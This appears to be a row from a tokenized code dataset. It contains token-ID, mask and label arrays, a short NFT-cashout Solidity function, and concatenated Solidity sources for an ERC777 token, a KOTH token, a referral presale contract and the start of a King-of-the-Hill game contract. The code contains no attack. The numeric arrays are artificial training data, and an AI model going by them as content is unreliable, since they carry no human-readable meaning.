0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2583,
12,
87,
1302,
264,
480,
1234,
18,
15330,
16,
315,
12053,
502,
353,
17571,
264,
8863,
15604,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/5/0x4D3495005E14c0AB9f3C0F80876c4152CE3D0F83/sources/contracts/testnet/LDPRewarder.sol | * @notice Cashout rewards (eth) accrued by the specified NFT. @param tokenId The ID of the Duck for which the ETH rewards will be cashed out/ | function nftCashout(uint256 tokenId) external nonReentrant {
_nftCashout_M29(tokenId);
}
| 16,866,822 | [
1,
39,
961,
659,
283,
6397,
261,
546,
13,
4078,
86,
5957,
635,
326,
1269,
423,
4464,
18,
225,
1147,
548,
1021,
1599,
434,
326,
463,
9031,
364,
1492,
326,
512,
2455,
283,
6397,
903,
506,
276,
13912,
596,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
290,
1222,
39,
961,
659,
12,
11890,
5034,
1147,
548,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
389,
82,
1222,
39,
961,
659,
67,
49,
5540,
12,
2316,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract CustomERC777 is Context, IERC777, IERC20, Pausable {
using SafeMath for uint256;
using Address for address;
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) public {
_name = name_;
_symbol = symbol_;
_defaultOperatorsArray = defaultOperators_;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view override(IERC20, IERC777) returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(
address recipient,
uint256 amount,
bytes memory data
) public override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public override whenNotPaused() returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public override whenNotPaused() {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(address operator, address tokenHolder) public view override returns (bool) {
return
operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
function _addDefaultOperator(address operator) internal {
_defaultOperatorsArray.push(operator);
_defaultOperators[operator] = true;
emit AuthorizedOperator(operator, address(this));
}
function _removeDefaultOperator(address operator) internal {
_defaultOperators[operator] = false;
for (uint256 x = 0; x <= _defaultOperatorsArray.length - 1; x++) {
if (_defaultOperatorsArray[x] == operator) {
_defaultOperatorsArray[x] = _defaultOperatorsArray[_defaultOperatorsArray.length - 1];
_defaultOperatorsArray.pop();
break;
}
}
emit RevokedOperator(operator, address(this));
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view override returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public override {
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(
address account,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public override whenNotPaused() returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(
address holder,
address recipient,
uint256 amount
) public override whenNotPaused() returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(
holder,
spender,
_allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance")
);
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) internal virtual {
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal {
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
) internal virtual {
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), amount);
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
_beforeTokenTransfer(operator, from, to, amount);
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(
address holder,
address spender,
uint256 value
) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "./CustomERC777.sol";
import "./KingOfTheHill.sol";
import "./KOTHPresale.sol";
contract KOTH is Context, CustomERC777, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant GAME_MASTER_ROLE = keccak256("GAME_MASTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
constructor(address owner, address presaleContract) CustomERC777("KOTH", "KOTH", new address[](0)) {
_onCreate(owner, presaleContract);
}
function _onCreate(address owner, address presaleContract) private {
_pause();
_setupRole(DEFAULT_ADMIN_ROLE, owner);
_setupRole(GAME_MASTER_ROLE, owner);
_setupRole(MINTER_ROLE, owner);
_setupRole(MINTER_ROLE, presaleContract);
_setupRole(PAUSER_ROLE, owner);
_setupRole(PAUSER_ROLE, presaleContract);
_register(presaleContract);
}
function _register(address presaleContract) private {
KOTHPresale presale = KOTHPresale(payable(presaleContract));
presale.setKOTH();
}
modifier onlyMinter() {
require(hasRole(MINTER_ROLE, _msgSender()), "KOTH: sender must be a minter for minting");
_;
}
modifier onlyGameMaster() {
require(hasRole(GAME_MASTER_ROLE, _msgSender()), "KOTH: sender must be a game master");
_;
}
modifier onlyPauser() {
require(hasRole(PAUSER_ROLE, _msgSender()), "KOTH: sender must be a pauser");
_;
}
function pause() public onlyPauser() {
_pause();
}
function unpause() public onlyPauser() {
_unpause();
}
function mint(address account, uint256 amount) public onlyMinter() {
_mint(account, amount, "", "");
}
// Set game contract as default operator
function addGameContract(address game) public onlyGameMaster() {
require(game != address(0), "KOTH: game is zero address");
require(defaultOperators().length == 0, "KOTH: game contract is already set");
_addDefaultOperator(game);
}
// Unset game contract as default operator
function removeGameContract(address game) public onlyGameMaster() {
_removeDefaultOperator(game);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "./KOTH.sol";
contract KOTHPresale is Context, Ownable, Pausable, ReentrancyGuard {
using SafeMath for uint256;
struct Referrer {
bool isActive;
address parent;
}
uint256 private _price;
uint256 private _weiRaised;
uint256 private _kothBonusPercentage;
uint256 private _originalReferrerPercentage;
uint256 private _childReferrerPercentage;
KOTH private _koth;
address payable private _wallet;
mapping(address => Referrer) private _referrer;
event KOTHPurchased(
address indexed purchaser,
address indexed parentReferrer,
address indexed childReferrer,
uint256 value,
uint256 amount
);
constructor(
address owner,
address payable wallet_,
uint256 price
) {
_pause();
_wallet = wallet_;
_price = price;
_kothBonusPercentage = 10;
_originalReferrerPercentage = 10;
_childReferrerPercentage = 7;
transferOwnership(owner);
}
modifier onlyKOTHRegistered() {
require(address(_koth) != address(0), "KOTHPresale: KOTH token is not registered");
_;
}
// calculate percentage of amount in wei
function percentageToAmount(uint256 amount, uint256 percentage) public pure returns (uint256) {
return amount.mul(percentage).div(100);
}
function wallet() public view returns (address payable) {
return _wallet;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function getKOTHPrice() public view returns (uint256) {
return _price;
}
function setKOTHPrice(uint256 price) public onlyOwner() {
_price = price;
}
// This function will be called by the KOTH contract at deployment only 1 time
function setKOTH() external {
require(address(_koth) == address(0), "KOTHPresale: KOTH address is already set");
_koth = KOTH(_msgSender());
}
function getKOTH() public view returns (address) {
return address(_koth);
}
function getKOTHBonusPercentage() public view returns (uint256) {
return _kothBonusPercentage;
}
function setKOTHBonusPercentage(uint256 percentage) public onlyOwner() {
require(percentage <= 100, "KOTHPresale: KOTH bonus percentage greater than 100");
_kothBonusPercentage = percentage;
}
function getOriginalReferrerPercentage() public view returns (uint256) {
return _originalReferrerPercentage;
}
function setOriginalReferrerPercentage(uint256 percentage) public onlyOwner() {
require(percentage <= 100, "KOTHPresale: Original referrer percentage greater than 100");
_originalReferrerPercentage = percentage;
}
function getChildReferrerPercentage() public view returns (uint256) {
return _childReferrerPercentage;
}
function setChildReferrerPercentage(uint256 percentage) public onlyOwner() {
require(
_originalReferrerPercentage >= percentage,
"KOTHPresale: Original referrer percentage less than child percentage"
);
_childReferrerPercentage = percentage;
}
function getParentReferrerPercentage() public view returns (uint256) {
return _originalReferrerPercentage.sub(_childReferrerPercentage);
}
function grantReferrer(address account) public onlyOwner() {
require(account != address(0), "KOTHPresale: zero address can not be a referrer");
_referrer[account] = Referrer(true, address(0));
}
function mintReferrer(address account) public {
require(_referrer[account].isActive == true, "KOTHPresale: account is not a referrer");
require(_referrer[account].parent == address(0), "KOTHPresale: account is not an original referrer");
_referrer[_msgSender()] = Referrer(true, account);
}
function isReferrer(address account) public view returns (bool) {
return _referrer[account].isActive;
}
function isOriginalReferrer(address account) public view returns (bool) {
return _referrer[account].parent == address(0) && isReferrer(account);
}
function isChildReferrer(address account) public view returns (bool) {
return isReferrer(account) && !isOriginalReferrer(account);
}
function parentReferrerOf(address account) public view returns (address) {
return _referrer[account].parent;
}
// @dev price of 1 KOTH has to be lesser than 1 ETHER else rate will be 0 !!!
function rate() public view onlyKOTHRegistered() returns (uint256) {
return ((10**uint256(_koth.decimals()))).div(_price);
}
function getKOTHAmount(uint256 weiAmount) public view onlyKOTHRegistered() returns (uint256) {
return weiAmount.mul(rate());
}
function getPurchasePrice(uint256 tokenAmount) public view onlyKOTHRegistered() returns (uint256) {
uint256 purchasePrice = tokenAmount.div(rate());
require(purchasePrice > 0, "KOTHPresale: not enough tokens");
return purchasePrice;
}
function pause() public onlyOwner() onlyKOTHRegistered() {
_pause();
_koth.unpause();
}
function unpause() public onlyOwner() {
_unpause();
}
receive() external payable {
buyKOTH();
}
// buy without referrer
function buyKOTH() public payable whenNotPaused() nonReentrant() onlyKOTHRegistered() {
require(msg.value > 0, "KOTHPresale: purchase price can not be 0");
uint256 nbKOTH = getKOTHAmount(msg.value);
_processPurchase(nbKOTH);
emit KOTHPurchased(_msgSender(), address(0), address(0), msg.value, nbKOTH);
_forwardFunds(address(0));
}
// buy with a referrer
function buyKOTHWithReferrer(address referrer) public payable whenNotPaused() nonReentrant() onlyKOTHRegistered() {
require(_referrer[referrer].isActive == true, "KOTHPresale: account is not a referrer");
if (isChildReferrer(referrer)) {
require(_msgSender() != referrer, "KOTHPresale: child referrer can not buy for himself");
}
require(msg.value > 0, "KOTHPresale: purchase price can not be 0");
uint256 nbKOTH = getKOTHAmount(msg.value);
uint256 nbKOTHWithBonus = nbKOTH.add(percentageToAmount(nbKOTH, _kothBonusPercentage));
_processPurchase(nbKOTHWithBonus);
address parent;
address child;
if (isOriginalReferrer(referrer)) {
parent = referrer;
child = address(0);
} else {
parent = _referrer[referrer].parent;
child = referrer;
}
emit KOTHPurchased(msg.sender, parent, child, msg.value, nbKOTHWithBonus);
_forwardFunds(referrer);
}
function _processPurchase(uint256 kothAmount) private {
_koth.mint(_msgSender(), kothAmount);
}
function _forwardFunds(address referrer) private {
uint256 parentReward;
uint256 childReward;
uint256 remainingWeiAmount;
if (isOriginalReferrer(referrer)) {
parentReward = percentageToAmount(msg.value, _originalReferrerPercentage);
payable(referrer).transfer(parentReward);
} else if (isChildReferrer(referrer)) {
childReward = percentageToAmount(msg.value, _childReferrerPercentage);
parentReward = percentageToAmount(msg.value, _originalReferrerPercentage.sub(_childReferrerPercentage));
payable(referrer).transfer(childReward);
payable(_referrer[referrer].parent).transfer(parentReward);
}
remainingWeiAmount = msg.value.sub(parentReward).sub(childReward);
_weiRaised = _weiRaised.add(remainingWeiAmount);
_wallet.transfer(remainingWeiAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./KOTH.sol";
contract KingOfTheHill is Ownable, Pausable {
using SafeMath for uint256;
KOTH private _koth; // Token address of the KOTH ERC20 token
address public _wallet;
address public _potOwner; // Current owner (king of the hill)
uint256 public _bpOfPotToBuy; // % of the current pot required in ETH to own it
uint256 public _percentagePotToSeed; // % of the current pot that will be used to seed the next roung
bool public _isStrengthPowerUp; // Is Strength enabled?
bool public _isDefensePowerUp; // Is Defense enabled?
bool public _isAgilityPowerUp; // Is Agility Enabled?
uint256 public _strengthBonus; // % Extra of the Pot you win
uint256 public _defenseBonus; // Multiplier of how expensive the pot becomes for the next person
uint256 public _agilityBonus; // a number
uint256 public _agilityBuyNbBlockMin;
uint256 private _nbAgility; // a number
uint256 public _nbBlocksWinning;
uint256 private _nbBlockBought; // Block number the current round bought at
uint256 public _pot; // Amount of wei in the pot
uint256 public _seed; // Amount of wei to seed the next pot
address public _weth = address(0x0); // ERC20 address of WETH to calculate WETH / KOTH price
address public _kothUniPool; // KOTH uniswap pool to calculate WETH / KOTH price
uint256 public _defensePerc = 10;
uint256 public KOTH_PER_BLOCK_PRECISION = 10 ** 6;
uint256 public _kothPerBlock = 10 * KOTH_PER_BLOCK_PRECISION; // Amount of KOTH per block for the agility bonus. Precision up to 10^6 (0.000001 KOTH)
